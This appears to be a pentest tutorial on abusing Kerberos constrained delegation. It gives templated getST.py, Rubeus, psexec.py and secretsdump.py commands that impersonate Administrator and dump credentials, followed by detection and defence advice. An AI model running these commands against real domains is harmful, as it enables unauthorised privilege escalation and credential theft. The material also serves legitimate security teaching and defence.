Constrained Delegation

Constrained delegation lets an account act on behalf of other users, but only against a specific list of services. If we compromise an account with this configuration, we can impersonate any user (including the Administrator) against those services, which is often enough to take over the target host.

What it is based on. The account has the msDS-AllowedToDelegateTo attribute with one or more SPN. With protocol transition (the TRUSTED_TO_AUTH_FOR_DELEGATION flag) it can also request tickets without knowing the victim's password, using the Kerberos S4U extension: S4U2Self obtains a forwardable ticket to itself on behalf of the user, and S4U2Proxy exchanges it for a ticket to the allowed service. That same S4U extension is what noPac abuses to impersonate the Administrator against the DC.

How it is executed. Enumerate the accounts with the attribute, request the ticket impersonating the Administrator with Impacket's getST.py, and use it against the service.

Enumerate accounts with delegation

Get-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegateto
findDelegation.py -dc-ip <ip> <domain>/<user>:<pass>
netexec ldap <ip> -u <user> -p <pass> --find-delegation

Request the ticket (S4U)

# by password, NT hash or AES key
getST.py -spn cifs/<target> -impersonate Administrator -dc-ip <ip> <domain>/<account>:<pass>
getST.py -spn cifs/<target> -impersonate Administrator -hashes :<nt-hash> <domain>/<account>
getST.py -spn cifs/<target> -impersonate Administrator -aesKey <aes-key> <domain>/<account>
# the service name is not signed: ask for several at once
getST.py -spn cifs/<target> -altservice host,http,ldap,cifs -impersonate Administrator <domain>/<account>:<pass>

On Windows with Rubeus:

Rubeus.exe s4u /user:<account> /rc4:<nt-hash> /impersonateuser:Administrator /msdsspn:cifs/<target> /altservice:host,http /ptt

Use the ticket

export KRB5CCNAME=Administrator@cifs_<target>@<domain>.ccache
psexec.py -k -no-pass <target>
wmiexec.py -k -no-pass <domain>/Administrator@<target>
secretsdump.py -k -no-pass <target>

A useful nuance: the service name in the resulting ticket is not signed, so cifs can be swapped for another service on the same host (host, ldap, http…) to broaden what can be done against the target.

Versus unconstrained. Compared with unconstrained delegation, only the listed services are reachable here; the attack is more surgical but just as effective when the allowed SPN runs as SYSTEM (e.g. cifs).

How to detect it. Look on the DC for Event ID 4769 with bursts of S4U requests (one account requesting service tickets on behalf of many users, especially the Administrator) and audit which accounts have msDS-AllowedToDelegateTo or TRUSTED_TO_AUTH_FOR_DELEGATION; a service account that suddenly impersonates an administrator is the anomaly.

Defence. Put privileged accounts in Protected Users or mark them as non-delegable, avoid protocol transition unless strictly necessary, and periodically review the list of accounts with delegation configured. Related to RBCD and the Silver Ticket.